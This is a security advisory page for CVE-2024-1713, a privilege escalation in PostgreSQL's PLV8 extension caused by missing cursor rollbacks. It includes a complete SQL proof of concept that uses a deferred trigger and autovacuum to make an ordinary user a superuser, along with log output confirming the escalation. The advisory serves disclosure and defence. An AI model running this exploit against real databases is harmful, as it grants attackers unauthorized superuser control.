AI and data stack advisories

Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

GoogleGHSA-r7m9-grw7-vcc4

PostgreSQL: Plv8 Deferred Trigger Privilege Escalation

Google

CVE-2024-1713 · Published Feb 21, 2024

High
No fix yet
GitHub advisory

Summary

PLV8 allows users to create cursors for queries. If an error occurs in a cursor operation the postgres error is caught and rethrown as an exception that can be caught in javascript. The cursor implementations for plv8 are missing rollbacks. This enables cases where a rollback is expected but a malicious user is able to catch the error and commit instead. For example with deferred triggers. A malicious user who can create objects in a database with plv8 installed can cause deferred triggers to execute as the Superuser during autovacuum (similar to [CVE-2020-25695](https://staaldraad.github.io/post/2020-12-15-cve-2020-25695-postgresql-privesc)).

This was tested against PostgreSQL 14.10 with plv8-3.2.1.

Severity

High - A user who can create objects in a database with plv8 installed is able to cause deferred triggers to execute as the Superuser during autovacuum.

Proof of Concept

This PoC assumes that there is a _Superuser_ named _postgres_ and a normal user named _test_. The _test_ user should be able to create objects within a database where plv8 is installed.

As _Superuser_

```sql

CREATE EXTENSION plv8;

`

As user _test_

```sql

-- Setup index, table, and triggers similar to CVE-2020-25695

CREATE TABLE public.to_vacuum (a int, b int);

CREATE TABLE public.has_trigger (a int);

CREATE OR REPLACE FUNCTION public.index_func(integer)

RETURNS integer

AS $...

Affected versions

PackageAffectedFixed in
Plv8
Product
all versionsNo fix yet
Details and references

### Summary PLV8 allows users to create cursors for queries. If an error occurs in a cursor operation the postgres error is caught and rethrown as an exception that can be caught in javascript. The cursor implementations for plv8 are missing rollbacks. This enables cases where a rollback is expected but a malicious user is able to catch the error and commit instead. For example with deferred triggers. A malicious user who can create objects in a database with plv8 installed can cause deferred triggers to execute as the Superuser during autovacuum (similar to [CVE-2020-25695](https://staaldraad.github.io/post/2020-12-15-cve-2020-25695-postgresql-privesc)). This was tested against PostgreSQL 14.10 with plv8-3.2.1. ### Severity High - A user who can create objects in a database with plv8 installed is able to cause deferred triggers to execute as the Superuser during autovacuum. ### Proof of Concept This PoC assumes that there is a _Superuser_ named _postgres_ and a normal user named _test_. The _test_ user should be able to create objects within a database where plv8 is installed. As _Superuser_ ```sql CREATE EXTENSION plv8; ``` As user _test_ ```sql -- Setup index, table, and triggers similar to CVE-2020-25695 CREATE TABLE public.to_vacuum (a int, b int); CREATE TABLE public.has_trigger (a int); CREATE OR REPLACE FUNCTION public.index_func(integer) RETURNS integer AS $ BEGIN RETURN 1; END; $ LANGUAGE PLPGSQL IMMUTABLE; CREATE INDEX i ON public.to_vacuum (public.index_func(a)); CREATE OR REPLACE FUNCTION public.plv8_cursor() RETURNS int AS $ try { var p = plv8.prepare("INSERT INTO public.has_trigger VALUES (1) RETURNING *", []); var c = p.cursor([]); // while (row = c.move(1)) {} while (row = c.fetch()) {} } catch(err) { plv8.elog(WARNING, 'plv8: ' + err); } return 1; $ LANGUAGE plv8; CREATE OR REPLACE PROCEDURE wrapper() AS $ BEGIN BEGIN PERFORM public.plv8_cursor(); EXCEPTION WHEN OTHERS THEN COMMIT; END; END; $ LANGUAGE plpgsql; CREATE OR REPLACE FUNCTION public.index_func(integer) RETURNS integer AS $ BEGIN CALL public.wrapper(); RETURN 1; END; $ LANGUAGE PLPGSQL; CREATE OR REPLACE FUNCTION public.payload() RETURNS trigger AS $ BEGIN IF USER = 'postgres' THEN ALTER USER test WITH Superuser; END IF; RETURN NEW; END; $ LANGUAGE PLPGSQL; CREATE CONSTRAINT TRIGGER defer AFTER INSERT ON public.has_trigger INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE public.payload(); ALTER TABLE public.to_vacuum SET (autovacuum_vacuum_threshold = 1); ALTER TABLE public.to_vacuum SET (autovacuum_analyze_threshold = 1); INSERT INTO public.to_vacuum VALUES (1,1); INSERT INTO public.to_vacuum VALUES (2,2); INSERT INTO public.to_vacuum VALUES (3,3); ``` Wait for autovacuum to run this could take several minutes with default settings. You’ll see log entries such as the following when. ```sql [18303] WARNING: plv8: Error: cannot fire deferred trigger within security -restricted operation [18303] CONTEXT: SQL statement "SELECT public.plv8_cursor()" PL/pgSQL function public.wrapper() line 4 at PERFORM SQL statement "CALL public.wrapper()" PL/pgSQL function public.index_func(integer) line 3 at CALL [18303] WARNING: snapshot 0x55e5cbdb2680 still active ``` Now check the user's privileges ```sql \du test List of roles Role name | Attributes | Member of -----------+----------------------+----------- test | Superuser, Create DB | {} ``` ### Further Analysis When a plv8 cursor encounters an error the postgres error is caught and rethrown as an error that can be cau

Severity from
GitHub (reviewed advisory)

More Google advisories

All Google